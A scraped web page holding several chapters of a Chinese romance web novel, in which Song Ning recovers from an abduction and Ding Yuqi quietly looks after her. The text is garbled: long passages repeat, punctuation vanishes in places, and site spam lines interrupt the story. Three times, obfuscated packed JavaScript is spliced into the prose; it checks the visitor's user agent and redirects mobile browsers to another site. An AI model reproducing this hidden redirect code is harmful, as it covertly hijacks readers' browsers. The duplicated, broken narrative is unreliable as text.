小护士倒没说什么,只是说:“你老公在外面等着,有点不放心你,拜托我进来看看你还在不在。没事,我出去告诉他一声。” 小护士风风火火的走了。 方才给她做检查的护士也轻笑:“你们夫妻感情真好啊。” 宋凝知道,他是一朝被蛇咬十年怕井绳。 前天晚上她刚离开他的视线就被人弄晕带走了,自从她回来,尽管丁予期表面上没有表现出来,但是她这段时间跟丁予期也算是相处了一阵子,她看得出来,他的神经一直是有些紧绷的。 “你好护士,请问什么时候可以取报告?” 护士说:“心电图的结果很快的,你们在外面稍等一会儿就行。” “好的,谢谢,那我出去了。” 护士又笑了:“快出去吧,别让你老公等急了。” 宋凝走出B超室的时候,一眼就看到了站在门口的丁予期。 他正在跟旁边另一个男人攀谈,两个人聊得很投机的样子。 见她出现,他立刻跟男人做了个手势,然后朝着她跑了过来。 “做完检查了?” “嗯,说是结果要等一会儿。” “好。” 宋凝问:“那个男人你认识啊?” 丁予期顺着她的目光看过去,正好那个男人也看了过来,还笑着对他们挥了挥手。 丁予期:“不认识啊。” “那我看你们刚刚聊得那么热火朝天,好像很熟的样子,你们都聊什么了?” “吃剩饭。” “?” “他老婆怀孕了,今天是来做产检的,家里长辈做了很多东西给孕妇吃,但是他老婆孕吐什么都吃不下,不吃又会伤老人们的心,所以最后都进了他的肚子。结果就是他老婆瘦了几斤,他胖了二十斤。” 宋凝看着男人憨态可掬像个熊猫一样的样子,突然就觉得有些可爱了。 “以后……”丁予期欲言又止,但很快又摇了摇头:“算了,以后再说。” “什么?” 丁予期脸色微红,轻咳一下掩饰尴尬:“没什么。诶,检查报告好像出来了。” 心电图是最后一个项目了,很快带着打印机热度的全套检查报告很快就被送到了他们手里。 丁予期没放过哪怕任何一行细微的小字,仔仔细细的看过宋凝的体检报告后,总算把没有在她面前表现出来过的担忧随着话音叹了出去:“没事就好。” 体检报告显示宋凝除了轻微贫血外,就只受了一些擦伤,并没有出现其他问题。 宋凝一直以为他是个沉得住气的,没想到他不过是藏得够深罢了,暗暗感到反差的同时也从心底涌起一股暖意,回应道:“我当然没事,又不是纸糊的。” 丁予期拿着体检报告,神情总算是轻松了一些。 等他们回到酒店房间里时,瑞贝卡已经提前等在客厅里了,她汇报道:“丁总,您要的东西都准备好了。” 茶几上多了个离开前并不存在的药箱。 丁予期侧身对一头雾水的宋凝解释:“擦伤可大可小,也是需要好好处理伤口的,所以我让瑞贝卡准备了一些药膏,她跟你都是女孩子,处理起来会方便些。” 宋凝有些疑惑。 刚刚不是在医院,处理伤口不是更方便么? 怎么还非得回来让瑞贝卡帮忙? 瑞贝卡:“外科医生是男性吧?” 宋凝刚做完B超,正在用纸巾擦着皮肤上附着的黏腻药水,就听到一个小护士笑嘻嘻地走了进来:“宋凝宋小姐在吗?” 宋凝应了一声:“我在。” 小护士倒没说什么,只是说:“你老公在外面等着,有点不放心你,拜托我进来看看你还在不在。没事,我出去告诉他一声。” 小护士风风火火的走了。 方才给她做检查的护士也轻笑:“你们夫妻感情真好啊。” 宋凝知道,他是一朝被蛇咬十年怕井绳。 前天晚上她刚离开他的视线就被人弄晕带走了,自从她回来,尽管丁予期表面上没有表现出来,但是她这段时间跟丁予期也算是相处了一阵子,她看得出来,他的神经一直是有些紧绷的。 “你好护士,请问什么时候可以取报告?” 护士说:“心电图的结果很快的,你们在外面稍等一会儿就行。” “好的,谢谢,那我出去了。” 护士又笑了:“快出去吧,别让你老公等急了。” 宋凝走出B超室的时候,一眼就看到了站在门口的丁予期。 他正在跟旁边另一个男人攀谈,两个人聊得很投机的样子。 见她出现,他立刻跟男人做了个手势,然后朝着她跑了过来。 “做完检查了?” “嗯,说是结果要等一会儿。” “好。” 宋凝问:“那个男人你认识啊?” 丁予期顺着她的目光看过去,正好那个男人也看了过来,还笑着对他们挥了挥手。 丁予期:“不认识啊。” “那我看你们刚刚聊得那么热火朝天,好像很熟的样子,你们都聊什么了?” “吃剩饭。” “?” “他老婆怀孕了,今天是来做产检的,家里长辈做了很多东西给孕妇吃,但是他老婆孕吐什么都吃不下,不吃又会伤老人们的心,所以最后都进了他的肚子。结果就是他老婆瘦了几斤,他胖了二十斤。” 宋凝看着男人憨态可掬像个熊猫一样的样子,突然就觉得有些可爱了。 “以后……”丁予期欲言又止,但很快又摇了摇头:“算了,以后再说。” “什么?” 丁予期脸色微红,轻咳一下掩饰尴尬:“没什么。诶,检查报告好像出来了。” 心电图是最后一个项目了,很快带着打印机热度的全套检查报告很快就被送到了他们手里。 丁予期没放过哪怕任何一行细微的小字,仔仔细细的看过宋凝的体检报告后,总算把没有在她面前表现出来过的担忧随着话音叹了出去:“没事就好。” 体检报告显示宋凝除了轻微贫血外,就只受了一些擦伤,并没有出现其他问题。 宋凝一直以为他是个沉得住气的,没想到他不过是藏得够深罢了,暗暗感到反差的同时也从心底涌起一股暖意,回应道:“我当然没事,又不是纸糊的。” 丁予期拿着体检报告,神情总算是轻松了一些。 等他们回到酒店房间里时,瑞贝卡已经提前等在客厅里了,她汇报道:“丁总,您要的东西都准备好了。” 茶几上多了个离开前并不存在的药箱。 丁予期侧身对一头雾水的宋凝解释:“擦伤可大可小,也是需要好好处理伤口的,所以我让瑞贝卡准备了一些药膏,她跟你都是女孩子,处理起来会方便些。” 宋凝有些疑惑。 刚刚不是在医院,处理伤口不是更方便么? 怎么还非得回来让瑞贝卡帮忙? 瑞贝卡:“外科医生是男性吧?” 第一百五十六章 乱了方寸 宋凝回忆了一下他们好像还真的经过了创伤外科的门口里面的确是个男医生。 “好像还真是。” 瑞贝卡露出了一个“我就知道”的表情。 但是…… 那个男医生貌似是个头发花白的老头吧? 瑞贝卡却只是抿嘴轻笑仿佛早有预料。 宋凝的很多擦伤都在身体躯干上 丁予期站了起来:“瑞贝卡麻烦你了我还有个会要开先过去了。” 套房里不缺房间他完全可以去到卧室或者露台上待着但为了让她们都自在些还是选择主动离开。 伴随着房门被关上的“咔哒”声瑞贝卡轻笑道:“其实这个会议原定不是今天开来着但丁总过两天好像有急事今天紧赶慢赶的安排了许多工作。” 宋凝跟她相处得很不错好奇道:“是业务上有什么变化么?” “卫斯理酒店一切都运转良好应该是南城那边的事。” 南城。 丽晶酒店。 宋凝沉默了他应该去调查那个叫五哥的了。 于洪亮当初被判了很多年按理说不应该这么早就出狱。 他不但能出来还能从南城到S市其中必定有人出了力。 “都这时候了你怎么还满脑子工作呢?”瑞贝卡恨铁不成钢的表示“你不知所踪的这段日子里丁总就没合过眼饭也不吃水也不喝眼底都是血丝。” 丁予期在宋凝面前将自己的疲态藏得极好别说对她讲出口了就连有可能被她发现的端倪都藏了起来。 他换了衣服又用冷水洗过脸这才让自己看起来只比平日里略微焦灼些。 可瑞贝卡当时就在旁边看着微微叹了口气。 男人啊。 再厉害精明的男人在面对自己喜欢的人时也会乱了方寸。 她跟随丁予期这么多年一直知道他表面上潇洒不羁实际上是个极其有主意的人。 丁家是个漩涡他就早早跳出来一头扎进了外公这边。 自从心里有了宋凝之后这十多年隐而不发步步为营最后终于抱得美人归了可惜这个美人是个不开窍的。 瑞贝卡只是在心里唏嘘了两声看来小丁总这芙蓉帐暖的日子怕是还要再等等啊。 “他……一直在海边吗?” 瑞贝卡轻轻点 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 了点头:“你不见了之后,他立刻就让人一路追踪,一直追到了码头。你离开了多久,他就在海边站了多久。” 宋凝默默听完这些,望着面前的药箱道:“他总是想的很周全,别说是我考虑到了还没来得及做的事了,就连我没考虑到的事也照样能提前想到。瑞贝卡,他总是这样么?” 不知怎的,当他们认识的时间变得越来越久之后,她渐渐就想不起从前的丁予期的脾性了。 他似乎是个很毒舌的人,跟谁说话似乎都不落下风,但每每在她面前开口,就算是斗嘴,但最后好像都是她赢。 到底是她赢,还是他的刻意退让? 其实答案已经不言而喻。 “当然不是了。” 瑞贝卡见宋凝像是有所犹豫,以为她是还没从先前的惊讶中缓过来,一边照着丁予期的吩咐给她清理伤口,一边给她提了个建议。 “丁总今天很早就出门了,我只看到他喝了杯黑咖啡,或许等他开完会回来,你们可以一起吃点东西,否则你不吃的话,他估计又要担心地顾不上自己了。” 丁予期身为卫斯理酒店的管理层,前阵子一直在忙着为宋凝的事奔走,现在单论积压的工作就有一大堆,若是他再在这个节骨眼上倒下,就算是有瑞贝卡撑着,也是个麻烦事。 宋凝其实心里也有些愧疚,于是乖顺地点了头:“我会劝他吃的。” 瑞贝卡目的达到,总算是松了一口气:“只要你开口,我就放心了。” 瑞贝卡给她上了药,嘱咐了她一些注意事项之后,就因为工作离开了。 宋凝把她的话记到了心里,见瑞贝卡离开后没多久,丁予期就开完会回来了,关切道:“会议进行的怎么样?事情都还顺利么?” 她虽然还在学习酒店管理的相关事宜中,但对自己的工作还是很上心的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他毕竟不能二十四小时陪在她身边但这三只德牧不一样她愿意的话可以随时把它们带在身边而它们的亲人是有条件的爹妈来了是傻狗坏人来了他们可有的是力气和手段。 宋凝知道他是在对她好不由的从心底泛起愧疚又问:“你吃过饭了么?我跟瑞贝卡一起吃了午饭 以她对他的了解来看他若是早上都只喝了黑咖啡中午和下午怕是会更加变本加厉的不把自己的身体当成一回事能凑合一口都是好的了。 丁予期抬手摸了下鼻尖:“没什么胃口所以就没吃现在也一样。” 宋凝心中了然的劝了句:“没胃口也该多少吃一点不然我怕你总是空腹喝黑咖啡的话身体会撑不住。” 他这样不把健康当回事迟早是会折腾出胃病的到时候再后悔的话就太晚了。 丁予期立刻就把宋凝的话听进去了但他第一时间关心的还是她的健康他问:“你陪我一起吃么?” “我……”宋凝其实是不饿可转念想到刚说出口的话还是点头答应道“好啊。” 卫斯理酒店的餐饮水平很不错尤其是楼下的自助餐厅就算跟一些老牌高档酒店相比也不见得会落下风唯一的问题大概是正值饭点这会儿去用餐难免拥挤。 丁予期见她起身要换衣服轻轻拉住她的袖子说:“不必麻烦我把饭菜叫到房间里就行我跟你……还有三个儿子我们一起吃顿饭。” “我一直忘记问了它们几个多大了?” “快一岁了”丁予期倒是没隐瞒:“傅东擎刚跟林澜接触上的时候买的。” 宋凝点了点头神色有些郁郁。 丁予期知道她在想什么坦白说道:“我那时候就想着如果我命中注定无子的话就养几只狗也挺好的。” 宋凝咬着勺子微微顿住:“那时候都把林澜送到傅东擎身边了为什么还会觉得会一生无子?” “你不是一直很排斥生育这件事么?” 丁予期像是没事人似的把餐盘往她面前推了推:“而且你也喜欢狗不是吗?” 他拨通了酒店的内线电话又语速颇快的报上所需餐点饮品的名字没一会儿就有服务生敲开房门送了个两层的餐车过来。 餐车上面摆满了让宋凝感到熟悉的食物都是她爱吃的。 “你好像忘记给自己点餐了。” 她等 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 服务生离开时顺便关了门,马上诚恳的对丁予期提醒到,“这些都是我爱吃的,你没给自己点吗?而且太多了,我一个人根本吃不完,浪费不好。” 丁予期轻笑,眉宇间藏着他自己都不曾察觉到的温柔,他心平气和的解释:“我没有忘,这些都是我平素里就爱吃的,想到你大概也会喜欢类似的口味,所以才会特意点了双人份。” 宋凝还是第一次遇到跟她口味如此契合的人,说不惊讶绝对是假的,但她与此同时也从心底生出了暖意,觉得这也算是有缘分了。 丁予期的表现更是彻底打消了她的疑虑,他吃的津津有味的同时,不忘时不时的观察她的神情。 所提到的事也全都只跟眼下这顿饭有关,不会牵扯到任何需要她挂心的事。 “嗯,餐厅甜品部的水平跟之前相比总算是有进步了,提拉米苏里放了少许的红酒,虽然颜色跟先前差不多,但有了这次的改变,我想会被留住的客人就算不会更多,至少也不会变少。” 他说着,主动把装着两块提拉米苏的小盘子往宋凝所在的方向推了过去,可她非但没有为餐饮部的变化感到高兴,反而露出了几分为难之色。 丁予期本就担心他会受委屈,这时见她有顾虑,以为自己说错了话,他想说点什么缓解情绪,然而话未开口,房间门先被人从外面敲响了。 宋凝连忙奔过去打开了门内的锁,她面上还有几分不知所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16157460|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 措的红晕,一看就是刚刚紧张局促过。 来人正是刚离开没多久的瑞贝卡,她手里提着个纸袋,见宋凝和丁予期坐在一张桌前用餐,面上立刻浮起灿烂笑容:“这是那会儿缺的药膏,洗完澡后抹在伤口有利于修复皮肤。” 这也是丁予期特意吩咐旁人去买来交给她的,原因无它,就只是一想到宋凝身上有伤,心里便会煎熬的不得了。 跟宋凝同辈的女孩子就没有不爱美的,她自然也不例外,不过是对这些东西没什么执念罢了,这时见瑞贝卡都送过来了,还是照样向她道谢。 瑞贝卡笑的狡黠,眉眼弯弯的往宋昭身后的餐桌方向看了一眼,从这笑容来看,怕是就差直接问他们进展如何了。 丁予期问心无愧,目光平和的冲着她一点头,这就算是打过招呼了,至少在宋凝需要的事上,他已经做的无微不至了,虽然还不够好。 “我有件事想跟你说。”宋凝顺势拉住瑞贝卡的手,同时往酒店走廊里看了过去。 瑞贝卡没有拒绝的理由,答应道:“好,我正好也想散个步。” 这一层几乎全都是丁予期的地盘,她们完全可以边走边聊,丝毫不必担心被旁人听到。 丁予期没想到宋凝只是开了个门,竟然又要外出,连忙跟着起身,不放心的想要跟着。 宋凝及时拦住他:“我跟瑞贝卡有一点女孩子之间的话题要聊,你就先别来了。” 这是千真万确的实话,她跟瑞贝卡要聊的事不方便被他听到。 丁予期只得停住步子,眼巴巴的模样瞧着跟趴在地上的三只德牧有几分像。 宋凝直到关上身后的房门才阻隔住他关切的视线。 瑞贝卡跟她一起往外走了几步,望着窗外的城市景观道:“你是不是觉得丁总对你有点盯的太紧了?” “嗯,他这两天看起来总是很紧张。”宋凝哭笑不得的做了个比喻,“就跟怕我丢了似的。” 第一百五十八章 多找几棵歪脖子树试试 微风和煦,拂面而过时会带来令人心旷神怡的暖意。 宋凝将一缕散发别到耳后,掩住眸底的疑惑后,用她所能做到的最坦诚的语气表示:“其实我也知道他是为我好,并没有追究的意思,只是有些好奇他的口味。 瑞贝卡面露迷茫的发问:“口味?丁总之前在部队里待过,对餐饮向来要求不高,没特殊要求的。 她身为丁予期的助理,自认为对他的生活习惯了如指掌,否则怕是早就被开除了,这时听宋凝说起来,如数家珍的回忆道:“要说唯一的要求,那就是丁总每天固定九杯黑咖啡,早中晚各三杯。 这些都是丁予期在工作中的要求,他是名副其实的工作狂,忙起来直接省掉一日三餐是常事,没什么值得奇怪的。 可宋凝在意的并不是这个,她把情况说得更详细了些:“我想知道的是他私下的喜好,比如聚会时喜欢订什么风格的餐厅。 在她看来,丁予期一直都是前夫的好友,现在他终于被揭下了这层神秘面纱。 瑞贝卡欲言又止的顿了一瞬,但转念想到提这个问题的人是宋凝,还是把另一桩本不该提起的事说了,她问:“你还记得自己从前参加过他们兄弟之间聚会的事么? 宋凝之所以会认识丁予期,就是因为他是傅东擎的好兄弟。 而他们这帮人隔三差五就会聚在一起消遣应酬,有时候为了场面更热闹些,也为了增加彼此的熟悉程度,还会把各自的女伴叫上。 其他人都带过女伴,只有丁予期,从来都是一个人。 “当然记得。她不失感慨的轻轻叹了口气,“那时的我以为这不过是人生中最寻常不过的日子罢了,没想到竟然会是未曾预料到的开端。 瑞贝卡虽然没正式参加过类似的场合,但她身为丁予期的助理,其中一项工作内容就是处理他的日程安排,因此也注意到了发生在他身上的其他人都没注意到的变化。 “丁总本来是常吃西蓝花的,因为营养师替他定制的食谱中最常见的就是这样蔬菜,做起来方便省时,口味稳定,而且最重要的是没有异味,就算在会议室里吃也可以,但后来就不喜欢了。 “我记得那天是周一,我照例把本周的日程安排和菜谱拿去给他过目,若是放在从前,他只会对日程安排上心,然后直接在菜谱上签字,但那天却很不一样。 她至今还记得营养师和厨师拿到修改过后的菜谱时的表情,他们差点以为自己的职业生涯走到了尽头。 宋凝扯了下嘴角, 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 轻叹道:“我是提过一句不喜欢吃西兰花来着,没想到他竟然记住了。” 瑞贝卡补充道:“其实你何止是这一点没想到,丁总的观察力有时候比当事人都入微,他还记住了你相比于冰淇淋更喜欢甜品,但太甜的也不行,而且喜欢烤肉里用来摆盘的芦笋超过肉……” 这些小习惯早就跟宋凝的生活融为一体了,若是瑞贝卡不提,她都意识不到自己竟然有如此明显的喜好,等到短暂的回忆过后,不失惊愕的认可道:“你记忆力可真好。” “不是我的记忆力好,是丁总的记忆力好。”瑞贝卡莞尔一笑。 “他不仅默默把你的口味记在了心里,还有意锻炼了一下自己的口味,从那之后便经常照着你会喜欢的菜品吃,时间一长,难免会习惯成自然,真变得爱吃那些了,哪怕一开始不喜欢。” 这事说起来容易,做起来却是半点也不简单,不仅是要在日常饮食上用心,还得克服原有的生活习惯,甚至是本能的排斥。 宋凝忽闪着眼睫,一时间不知道该作何评价是好。 丁予期是以律师的身份出现在她的世界里的。 他一直是个聪明人,言辞和目光一样犀利,冷不丁就会说出一句能噎**的话,多亏了她的水平跟他旗鼓相当,这才没在口舌之争上吃过亏。 这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16162756|177983||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个人怎么看都不像是会做赔本买卖的。 尤其这事纯粹他折腾自己,若是瑞贝卡不提,又或是他们没有恰好坐在一起吃饭,她恐怕这辈子都发现不了他的变化。 真的有人会为了另一个做到如此地步么? 瑞贝卡看出宋凝的纠结,温言解释道:“丁总做这事当然是没好处的,我想他只是希望能用这样的方式多理解你一些,权当是拉近了你们之间的距离。” 她是如今对丁予期和宋凝真实关系有所了解的知情人之一,很清楚他们名义上成了夫妻,可实际上的关系跟合作对象也差不多,并且目前的状况基本还是剃头挑子一头热的那种。 对宋凝来说,他是好老板,充其量能算是朋友,可距离成为好的结婚对象怕是还远得很。 宋凝面对这样的剖白,认为自己是该有点反应的,她回过身去看了眼套房所在的方向,仿佛穿透门板看到了坐在餐厅里的丁予期,颇感不是滋味的说:“他何必呢?” “因为他是真心喜欢你。”瑞贝卡见她这样迟钝,实在是没法不替他们两个着急。 “说出来你可能都不信,但丁总一开始没打算掺和到你们的事情里去,毕竟那时候你们的婚姻关系还在存续中,他就算是又争又抢,想当你们婚姻的第三者,也得看你给不给这个机会。” “那时的我当然是不会给。”宋凝想的既清楚又明白,她现在再回忆起从前的事,还能笑一下调侃道,“那时候……” 她心里眼里都只有傅东擎一个。 倘若不是亲眼看到他和林澜拥吻,她真的不愿意相信傅东擎会真的背叛她。 可事实就是这样。 她不但亲眼看到了,也在家里差点捉奸在床。 事实就是最好的一记耳光,把她扇回了现实。 瑞贝卡说:“人生啊,还是不要掉在一棵歪脖子树上的好,还是得多找几棵歪脖子树试试。” 宋凝轻笑:“我还是好好活着吧。” 第一百五十九章 养猪十大技巧 瑞贝卡见她都有心情开玩笑了,大概率是真的从那段不堪回首的婚姻往事中走出来了,话音也变得轻松了许多。 “丁总也是这样想的,所以如果傅东擎能一直对你好,哪怕是装一辈子,他也照样永远不会对你们的事横插一脚。” 丁予期想的很完美,然而世上的事永远都是计划赶不上变化。 宋凝的思绪许久都没乱过了,今日却是纷纷扬扬的又想起了许多事。 她不等瑞贝卡事无巨细的把后来发生的事再复述一遍,先行接话道:“所以后来林澜出现了。” 如果没有林澜,傅东擎说不定真的能装一辈子。 毕竟他想要的一直都是家里红旗不倒,外面彩旗飘飘,毁掉那时在外人看来无比完美的生活实在是件不值得的事,除非是有人给他设诱饵。 瑞贝卡见宋凝连这件事的真相都猜到了,先是轻轻一点头表示认可,然后才把她必然不知道的更深层的细节讲了出来。 “宋经理,有件事我得跟你说清楚,林澜真不是他挑选的,甚至可以说从来不在他的选择范畴内,是林澜主动找到这里来的。” 这一点倒是出乎宋凝的预料,她震惊的睁圆了眼睛问:“林澜的工作不是柜姐么?我记得还是级别普通的那一类,她怎么会对豪门间的事了解的这么清楚?还能主动联系到丁总?” 丁予期的出身不俗,平日里不是随便什么人都能接触到的,以林澜的身份来看,即便他去到店里,负责接待的人也不会是她。 如此说来,林澜倒是比她所以为的更有本事。 瑞贝卡对林澜的事了解不多,这时见宋凝想要知道,便努力回忆了一番:“我不知道具体发生了什么,只知道丁总给了林澜一次机会,跟她见过一面,而在那之后她就没再来过这里了。” “非要说她有什么特别之处的话,大概就是她敢谈条件吧,她跟丁总说一切全凭自己的本事,如果她真能成功,以后丁总就不必再给傅东擎塞人了,她愿意帮丁总做事,而这是双赢的交易。” 林澜确实是个聪明人,竟然防患于未然到了如此地步。 “原来是这样。”宋凝勉强扯出个笑容,含糊道,“谢谢你,我想问的事已经问到了,忽然想到还有一点事要处理,我先回去了。” 瑞贝卡看她有些魂不守舍,第一反应其实是担心,但等想起她出门前正在跟丁予期一起吃饭,连忙表示:“我也有事,还得回去交接工作,就不耽误你们吃饭了。” 两人转过身去,各自朝着相反的 方向走去。 宋凝想事情想的太出神,完全没注意到套间的房门不知何时已经开了,她一门心思的低着头往前走,当场跟出来找她的丁予期撞了个满怀。 丁予期嘶声倒吸了一口凉气,但第一反应仍旧是先扶住她,关切道:“你跟瑞贝卡不是有事情说么?怎么去了这么久?” 他仔仔细细的打量着她的神情,见除了魂不守舍外没什么大问题,这才松了口气。 “风景不错,就吹了会儿风。”宋凝现在一看到他就会想起那些过往,目光游移的看向室内餐厅上保持着她离开时模样的菜品,转移话题道,“对了,你还没吃完饭吧?还是先进去吧。” 一顿晚餐分了两次才吃完。 宋凝有了心事,难免表现的心不在焉,她手里的叉子不断从食物上滑下去,好几次都磕到了瓷盘的边缘。 当啷。 丁予期起初还能抱着等宋凝缓过来的心态,过会儿再去问她。 这时听到动静,当即叹了口气,把她面前的瓷盘拿到面前,三下五除二的将牛排切成了刚好能入口的小块。 “我一直以为你是有基本的自理能力的。”他在将餐盘还给她的时候说。 宋凝听到这话,先前的纷乱心情登时荡然无存,她毫不客气的回怼道:“有没有可能是因为跟你在一起吃饭,所以拉低了我的能力?” 丁予期见她还有心思跟自己斗嘴,显然是回过神来了,勾了下唇角回应道:“是么?那你更得多吃一点了,保持能力。” 两人你一言我一语,熟悉的斗嘴感又回来了。 丁予期一边措辞一边也没耽误他拿公用餐具给宋凝加餐,就连放到她碟子里去的虾也是仔细剥好了的。 宋凝偶然间低头瞥见,心里忽然有些别扭,嘴上便回了他一句:“你这是打算把我当猪养么?” 话一出口,她立刻就后悔了,毕竟他也是一片好心才这么做的。可丁予期却压根没放在心上,他头也不抬的说:“这个提议不错,那我明天就去买《养猪十大技巧》。” “老姚他们不是说,你们在部队的时候挑过猪粪?怎么,猪粪挑过猪没养过?” 丁予期啧啧有声:“品种不一样,这不是学无止境么。” “呵,既然学无止境,你怎么不去买一本《母猪的产后护理》呢?” 丁予期动作微微一顿。 宋凝也反应过来了,顿时有些后悔。 自己就是小时候春晚看的多了,小品台词说来就来,顺口就说了一句《母猪的产后护理》。 但是现在用在这里,反而像是她着急要生孩子似的、 宋凝:“……我开玩笑的,你别当真。” 丁予期没回答,只是行云流水的将一只去骨的鸡翅放到她面前说:“现在买太早了。” 他的措辞很平坦,可抬头时看向宋凝的目光却是无比暧昧,让她想再回敬他一句,却又怕是自己会错了意,唯有把话咽回去。 一场你来我往的斗嘴就此画上句号。 宋凝今天分明没做什么事,但许是因为压着心事的缘故,早早就觉得累了,等好不容易硬撑着洗漱完毕,再将东西收拾好已经不早了,可书房里却还亮着灯。 “你还不睡么?”她走过去敲了下房门,见没有回应,以为他是在忙工作不便分神,便出于礼貌只说了句,“晚安,我先睡了,你也早点休息吧。” 话音刚落,屋内立刻响起丁予期的话音:“等一下。” 宋凝以为他是在跟她说话,跟着回了一声“好”,可房门很快就在她面前打开,他走出来解释道:“刚刚在开会,有件事没来得及跟你说。” 方向走去。 宋凝想事情想的太出神,完全没注意到套间的房门不知何时已经开了,她一门心思的低着头往前走,当场跟出来找她的丁予期撞了个满怀。 丁予期嘶声倒吸了一口凉气,但第一反应仍旧是先扶住她,关切道:“你跟瑞贝卡不是有事情说么?怎么去了这么久?” 他仔仔细细的打量着她的神情,见除了魂不守舍外没什么大问题,这才松了口气。 “风景不错,就吹了会儿风。”宋凝现在一看到他就会想起那些过往,目光游移的看向室内餐厅上保持着她离开时模样的菜品,转移话题道,“对了,你还没吃完饭吧?还是先进去吧。” 一顿晚餐分了两次才吃完。 宋凝有了心事,难免表现的心不在焉,她手里的叉子不断从食物上滑下去,好几次都磕到了瓷盘的边缘。 当啷。 丁予期起初还能抱着等宋凝缓过来的心态,过会儿再去问她。 这时听到动静,当即叹了口气,把她面前的瓷盘拿到面前,三下五除二的将牛排切成了刚好能入口的小块。 “我一直以为你是有基本的自理能力的。”他在将餐盘还给她的时候说。 宋凝听到这话,先前的纷乱心情登时荡然无存,她毫不客气的回怼道:“有没有可能是因为跟你在一起吃饭,所以拉低了我的能力?” 丁予期见她还有心思跟自己斗嘴,显然是回过神来了,勾了下唇角回应道:“是么?那你更得多吃一点了,保持能力。” 两人你一言我一语,熟悉的斗嘴感又回来了。 丁予期一边措辞一边也没耽误他拿公用餐具给宋凝加餐,就连放到她碟子里去的虾也是仔细剥好了的。 宋凝偶然间低头瞥见,心里忽然有些别扭,嘴上便回了他一句:“你这是打算把我当猪养么?” 话一出口,她立刻就后悔了,毕竟他也是一片好心才这么做的。可丁予期却压根没放在心上,他头也不抬的说:“这个提议不错,那我明天就去买《养猪十大技巧》。” “老姚他们不是说,你们在部队的时候挑过猪粪?怎么,猪粪挑过猪没养过?” 丁予期啧啧有声:“品种不一样,这不是学无止境么。” “呵,既然学无止境,你怎么不去买一本《母猪的产后护理》呢?” 丁予期动作微微一顿。 宋凝也反应过来了,顿时有些后悔。 自己就是小时候春晚看的多了,小品台词说来就来,顺口就说了一句《母猪的产后护理》。 但是现在用在这里,反而像是她着急要生孩子似的、 宋凝:“……我开玩笑的,你别当真。” 丁予期没回答,只是行云流水的将一只去骨的鸡翅放到她面前说:“现在买太早了。” 他的措辞很平坦,可抬头时看向宋凝的目光却是无比暧昧,让她想再回敬他一句,却又怕是自己会错了意,唯有把话咽回去。 一场你来我往的斗嘴就此画上句号。 宋凝今天分明没做什么事,但许是因为压着心事的缘故,早早就觉得累了,等好不容易硬撑着洗漱完毕,再将东西收拾好已经不早了,可书房里却还亮着灯。 “你还不睡么?”她走过去敲了下房门,见没有回应,以为他是在忙工作不便分神,便出于礼貌只说了句,“晚安,我先睡了,你也早点休息吧。” 话音刚落,屋内立刻响起丁予期的话音:“等一下。” 宋凝以为他是在跟她说话,跟着回了一声“好”,可房门很快就在她面前打开,他走出来解释道:“刚刚在开会,有件事没来得及跟你说。” 方向走去。 宋凝想事情想的太出神,完全没注意到套间的房门不知何时已经开了,她一门心思的低着头往前走,当场跟出来找她的丁予期撞了个满怀。 丁予期嘶声倒吸了一口凉气,但第一反应仍旧是先扶住她,关切道:“你跟瑞贝卡不是有事情说么?怎么去了这么久?” 他仔仔细细的打量着她的神情,见除了魂不守舍外没什么大问题,这才松了口气。 “风景不错,就吹了会儿风。”宋凝现在一看到他就会想起那些过往,目光游移的看向室内餐厅上保持着她离开时模样的菜品,转移话题道,“对了,你还没吃完饭吧?还是先进去吧。” 一顿晚餐分了两次才吃完。 宋凝有了心事,难免表现的心不在焉,她手里的叉子不断从食物上滑下去,好几次都磕到了瓷盘的边缘。 当啷。 丁予期起初还能抱着等宋凝缓过来的心态,过会儿再去问她。 这时听到动静,当即叹了口气,把她面前的瓷盘拿到面前,三下五除二的将牛排切成了刚好能入口的小块。 “我一直以为你是有基本的自理能力的。”他在将餐盘还给她的时候说。 宋凝听到这话,先前的纷乱心情登时荡然无存,她毫不客气的回怼道:“有没有可能是因为跟你在一起吃饭,所以拉低了我的能力?” 丁予期见她还有心思跟自己斗嘴,显然是回过神来了,勾了下唇角回应道:“是么?那你更得多吃一点了,保持能力。” 两人你一言我一语,熟悉的斗嘴感又回来了。 丁予期一边措辞一边也没耽误他拿公用餐具给宋凝加餐,就连放到她碟子里去的虾也是仔细剥好了的。 宋凝偶然间低头瞥见,心里忽然有些别扭,嘴上便回了他一句:“你这是打算把我当猪养么?” 话一出口,她立刻就后悔了,毕竟他也是一片好心才这么做的。可丁予期却压根没放在心上,他头也不抬的说:“这个提议不错,那我明天就去买《养猪十大技巧》。” “老姚他们不是说,你们在部队的时候挑过猪粪?怎么,猪粪挑过猪没养过?” 丁予期啧啧有声:“品种不一样,这不是学无止境么。” 